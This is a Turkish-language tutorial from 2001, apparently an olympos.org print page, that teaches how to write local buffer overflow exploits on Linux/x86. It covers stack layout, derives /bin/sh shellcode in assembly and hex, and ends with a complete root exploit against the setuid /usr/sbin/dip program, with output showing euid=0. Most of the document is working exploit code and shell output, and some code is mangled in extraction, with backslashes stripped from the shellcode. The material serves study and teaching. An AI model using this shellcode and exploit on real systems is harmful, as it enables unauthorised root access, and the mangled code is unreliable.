URL: http://www.olympos.org/article/articleprint/183/-1/10/buffer_overflowlar_hakkinda |
Buffer Overflow`lar hakkýnda |
Buffer overflow`larin ortaya cikma tarihi 1970`ler. Ilk public kullanimi 1980`ler (Morris Worm). Kendisiyle ilgili dokumanlar ve kodlar Internet`te 1990`dan beri yayinlaniyor. 2001 senesindeyiz ve hala bu konuda Turkce dokuman YOK.
Bu dokuman boyle asiri detay iceren ve cok dikkat gerektiren konularla ilgili dokumanlar serisinin ilki olup, en temel acik turu olan lokal programlardaki buffer overflow aciklarini kullanan exploit yazmayi ogretmeyi amacliyor.
Dokumani anlamak icin yuzeysel C, assembly bilmeniz gerekli. Sanal bellek, bir proses`in bellekte nasil yerlestigi ve benzeri isletim sistemi kavramlari bilgileri cok yardimci olur. Ayrica setuid programlarin ne olduklari ve nasil calistiklari gibi temel Unix bilgileri dokumani anlamaniz icin sart. Gdb ve gcc ile daha onceden calismis olmaniz teknik olarak isinizi kolaylastiracaktir. Dokuman Linux/ix86 spesifiktir. Detaylar az farkla isletim sistemi ve mimariye gore degisir. Ilerideki dokumanlarda farkli
mimarilerde ve nispeten daha zor overflow ve shellcode tekniklerini aciklanacaktir.
Buffer Overflow Nedir?
Buffer overflow`u tanimlayabilmek icin once buffer nedir, onu tanimlamamiz gerekiyor. Buffer, hafizada ard arda dizili turdes veri tipi (int, char gibi) depolayan hafiza blogudur. C`de bunlar array olarak gecer.
Diger butun veri turleri gibi, array`ler de static yada dinamik olarak siniflandirilabilirler. Static degiskenler, program hafizaya yuklenirken, programin `data segment`ine yerlestirilir, dinamik degiskenler ise, program halihazirda calisirken, dinamik olarak 'stack' dedigimiz hafizada program icin hazirlanmis ozel bolumde yaratilip, yokedilirler. Iste buffer overflow dedigimiz olay da, bu dinamik degiskenlerin tasiyabilecekleri veri miktarindan fazlasini yukleyerek degisken`in sinirlarini asmadir. Kaba bir tabirle, 10 byte veri tasiyabilecek bir array`a 20 byte kopyalamak bu buffer`i overflow etmek demektir.
Bir Linux ELF programinin bellekteki yerleskesi cok karmasik. Ozellikle ELF (detayli bilgi icin google`da 'Executable and Linkable Format' diye aratin) ve shared library`lerin ortaya cikmasiyla yerleske daha da karmasik hale geldi. Fakat temel olarak, her bir proses calismaya 3 segmentle baslar:
text, data ve stack.
1. Text segment, (genellikle bu programi calistiran tum prosesler tarafindan paylasilan) salt okunur, programin instructionlarini iceren bolgedir. Ornegin programinizdaki:
for (i = 0; i < 10; i++) s += i; |
int i; |
int j = 5; |
int myfunc(void)
{
int i;
for (i = 0; i < 10; i++)
putchar('*');
putchar(`n`);
}
|
0xBFFFFFFF ---------------------
| |
| . |
| . |
| . |
| . |
| etc |
|env/argv pointer|
| argc |
|--------------------|
| |
| stack |
| |
| | |
| | |
| V |
/ /
| |
| ^ |
| | |
| | |
| |
| heap |
|--------------------|
| bss |
|--------------------|
| tanimlanmis veri|
|--------------------|
| text |
|--------------------|
| shared librariler |
| vs. |
0x8000000 |-------------------|
_* STACK *_
|
PUSH dword1 ;dword1`deki deger 1, ESP`nin degeri su anda 0xFFC (0x1000 - 4) PUSH dword2 ;dword2`deki deger 2, ESP`nin degeri su anda 0xFF8 (0xFFC - 4) PUSH dword3 ;dword3`deki deger 3, ESP`nin degeri su anda 0xFF4 (0xFF8 - 4) POP EAX ; EAX`in degeri 3, ESP`nin degeri su anda 0xFF8 (0xFF4 + 4) POP EBX ; EBX`in degeri 2, ESP`nin degeri su anda 0xFFC (0xFF8 +4) POP ECX ; ECX`in degeri 1, ESP`nin degeri su anda 0x1000 (0xFFC + 4) |
x = 0; fonksiyon(1, 2, 3); x = 1; |
| 1 | ESP+12 | 2 | ESP+8 | 3 | ESP+4 |geri donus adresi| ESP |
| 1 | EBP+16 | 2 | EBP+12 | 3 | EBP+8 |geri donus adresi| EBP+4 | saklanmis ESP | EBP | yerel_degisken_1| EBP-4 | yerel_degisken_2| EBP-8 |
void fonksiyon(int a, int b, int c)
{
char foo1[6];
char foo2[9];
}
void main()
{
fonksiyon(1,2,3);
}
|
[evil@pathfinder evil]$ gcc ornek.c -S -o ornek.S |
main:
pushl %ebp
movl %esp,%ebp
pushl $3
pushl $2
pushl $1
call fonksiyon
|
fonksiyon:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
|
| 1 | EBP+16 | 2 | EBP+12 | 3 | EBP+8 |geri donus adresi| EBP+4 | saklanmis ESP | EBP | foo1 | EBP-4 | foo1 | EBP-8 | foo2 | EBP-12 | foo2 | EBP-16 | foo2 | EBP-20 |
void fonksiyon(char *str)
{
char foo[16];
strcpy(foo, str);
}
void main()
{
char buyuk_array[256];
memset(buyuk_array, `A`, 255);
fonksiyon(buyuk_array);
}
|
[evil@victim evil]$ gdb -q ./e ./core Core was generated by `./e` Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) |
| *str | EBP+8 |geri donus adresi| EBP+4 | saklanmis ESP | EBP ESP | foo1 | EBP-4 | foo1 | EBP-8 | foo1 | EBP-12 | foo1 | EBP-16 |
void fonksiyon(int a, int b, int c)
{
char foo[6];
int *ret;
ret = foo + 12;
(*ret) += 8;
}
void main()
{
int x;
x = 0;
fonksiyon(1, 2, 3);
x = 1;
printf('%dn', x);
}
|
| a | EBP+16 | b | EBP+12 | c | EBP+8 |geri donus adresi| EBP+4 | saklanmis ESP | EBP ESP | foo | EBP-4 | foo | EBP-8 |
0x804849d <main+13>: pushl $0x3 0x804849f <main+15>: pushl $0x2 0x80484a1 <main+17>: pushl $0x1 0x80484a3 <main+19>: call 0x8048470 <fonksiyon> 0x80484a8 <main+24>: addl $0xc,%esp 0x80484ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80484b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80484b5 <main+37>: pushl %eax 0x80484b6 <main+38>: pushl $0x804851c 0x80484bb <main+43>: call 0x80483bc <printf> 0x80484c0 <main+48>: addl $0x8,%esp 0x80484c3 <main+51>: leave 0x80484c4 <main+52>: ret |
#include <stdio.h>
void main()
{
char *shell[2];
shell[0] = '/bin/sh';
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
|
[murat@victim murat]$ ./s bash$ |
[murat@victim murat]$ gcc --static -o s s.c [murat@victim murat]$ gdb ./s (gdb) disas main Dump of assembler code for function main: 0x8048124 <main>: pushl %ebp 0x8048125 <main+1>: movl %esp,%ebp 0x8048127 <main+3>: subl $0x8,%esp 0x804812a <main+6>: movl $0x80592ac,0xfffffff8(%ebp) 0x8048131 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8048138 <main+20>: pushl $0x0 0x804813a <main+22>: leal 0xfffffff8(%ebp),%eax 0x804813d <main+25>: pushl %eax 0x804813e <main+26>: movl 0xfffffff8(%ebp),%eax 0x8048141 <main+29>: pushl %eax 0x8048142 <main+30>: call 0x804ca10 <execve> 0x8048147 <main+35>: addl $0xc,%esp 0x804814a <main+38>: leave 0x804814b <main+39>: ret 0x804814c <main+40>: nop 0x804814d <main+41>: nop 0x804814e <main+42>: nop 0x804814f <main+43>: nop End of assembler dump. (gdb) |
(gdb) disas __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. |
0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx |
0x80002c0 <__execve+4>: movl $0xb,%eax |
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx |
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx |
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx |
0x80002ce <__execve+18>: int $0x80 |
(gdb) disas _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. |
void main() {
__asm__('
jmp 0x2a # 3 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
movb $0x0,0x7(%esi) # 4 byte
movl $0x0,0xc(%esi) # 7 byte
movl $0xb,%eax # 5 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
movl $0x1, %eax # 5 byte
movl $0x0, %ebx # 5 byte
int $0x80 # 2 byte
call -0x2f # 5 byte
.string '/bin/sh' # 8 byte
');
}
|
[murat@victim murat]$ make q cc q.c -o q [murat@victim murat]$ objdump -d q | grep <main>: -A23 | more 08048440 <main>: 8048440: 55 pushl %ebp 8048441: 89 e5 movl %esp,%ebp 8048443: eb 2a jmp 804846f <main+0x2f> 8048445: 5e popl %esi 8048446: 89 76 08 movl %esi,0x8(%esi) 8048449: c6 46 07 00 movb $0x0,0x7(%esi) 804844d: c7 46 0c 00 00 movl $0x0,0xc(%esi) 8048452: 00 00 8048454: b8 0b 00 00 00 movl $0xb,%eax 8048459: 89 f3 movl %esi,%ebx 804845b: 8d 4e 08 leal 0x8(%esi),%ecx 804845e: 8d 56 0c leal 0xc(%esi),%edx 8048461: cd 80 int $0x80 8048463: b8 01 00 00 00 movl $0x1,%eax 8048468: bb 00 00 00 00 movl $0x0,%ebx 804846d: cd 80 int $0x80 804846f: e8 d1 ff ff ff call 8048445 <main+0x5> 8048474: 2f das 8048475: 62 69 6e boundl 0x6e(%ecx),%ebp 8048478: 2f das 8048479: 73 68 jae 80484e3 <_etext+0x33> 804847b: 00 c9 addb %cl,%cl 804847d: c3 ret |
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
|
void main() {
__asm__('
jmp 0x1f # 2 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
xorl %eax,%eax # 2 byte
movb %eax,0x7(%esi) # 3 byte
movl %eax,0xc(%esi) # 3 byte
movb $0xb,%al # 2 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
xorl %ebx,%ebx # 2 byte
movl %ebx,%eax # 2 byte
inc %eax # 1 byte
int $0x80 # 2 byte
call -0x24 # 5 byte
.string '/bin/sh' # 8 byte
# toplam 46 byte
');
}
[murat@victim murat]$ make q
cc q.c -o q
[murat@victim murat]$ objdump -d q | grep <main>: -A23
08048440 <main>:
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 1f jmp 8048464 <main+0x24>
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: 31 c0 xorl %eax,%eax
804844b: 88 46 07 movb %al,0x7(%esi)
804844e: 89 46 0c movl %eax,0xc(%esi)
8048451: b0 0b movb $0xb,%al
8048453: 89 f3 movl %esi,%ebx
8048455: 8d 4e 08 leal 0x8(%esi),%ecx
8048458: 8d 56 0c leal 0xc(%esi),%edx
804845b: cd 80 int $0x80
804845d: 31 db xorl %ebx,%ebx
804845f: 89 d8 movl %ebx,%eax
8048461: 40 incl %eax
8048462: cd 80 int $0x80
8048464: e8 dc ff ff ff call 8048445 <main+0x5>
8048469: 2f das
804846a: 62 69 6e boundl 0x6e(%ecx),%ebp
804846d: 2f das
804846e: 73 68 jae 80484d8 <_fini+0x28>
8048470: 00 c9 addb %cl,%cl
|
char shellcode[] =
'xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b'
'x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd'
'x80xe8xdcxffxffxff/bin/sh';
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = shellcode;
}
[murat@victim murat]$ make shellcode
cc shellcode.c -o shellcode
[murat@victim murat]$ ./shellcode
bash$
|
victim.c:
char shellcode[] =
'xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b'
'x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd'
'x80xe8xdcxffxffxff/bin/sh';
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i < 50; i += 4)
*ap++ = shellcode;
strcpy(foo, large_str);
}
[murat@victim murat]$ make victim
cc victim.c -o victim
[murat@victim murat]$ ./victim
bash$
|
--------------------- 0xBFFFFFFF |00 00 00 00| 0xBFFFFFFB (4 tane NUL byte) |00 ...... | 0xBFFFFFFA (program_ismi) | ..................| |...................| 1. environment degiskeni (env[0]) |...................| 2. environment degiskeni (env[1]) |...................| 3. ... |...................| ... |...................| 1. argument string`i (argv[0]) |...................| 2. argument string`i (argv[1]) |...................| 3. ... | . | | . | | . | |
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e `print 'A'x116`` DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96) Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory [murat@victim murat]$ /usr/sbin/dip -k -l `perl -e `print 'A'x117`` DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96) Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory Segmentation fault (core dumped) [murat@victim murat]$ |
/* /usr/sbin/dip | euid = 0 |<mail to="murat@enderunix.org" subject="" text="murat@enderunix.org" />*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 250
char sc[] =
'xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b'
'x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd'
'x80xe8xdcxffxffxff/bin/sh';
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE] = 'A';
int i;
int *ap = (int *)(buf + strlen(buf));
int ret = 0xbffffffa - strlen(sc) - strlen('/usr/sbin/dip');
for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;
execle('/usr/sbin/dip', 'dip', '-k', '-l', buf, NULL, env);
}
|
char *env[2] = {sc, NULL};
|
char buf[BUFSIZE] = 'A'; |
int *ap = (int *)(buf + strlen(buf)); |
int ret = 0XBFFFFFFA - strlen(sc) - strlen('/usr/sbin/dip');
|
for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;
|
execle('/usr/sbin/dip', 'dip', '-k', '-l', buf, NULL, env);
|
[murat@victim murat]$ ./xdip DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96) Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..AÍÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿ Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ: No such file or directory bash# id uid=501(murat) gid=501(murat) euid=0(root) groups=501(murat) bash# |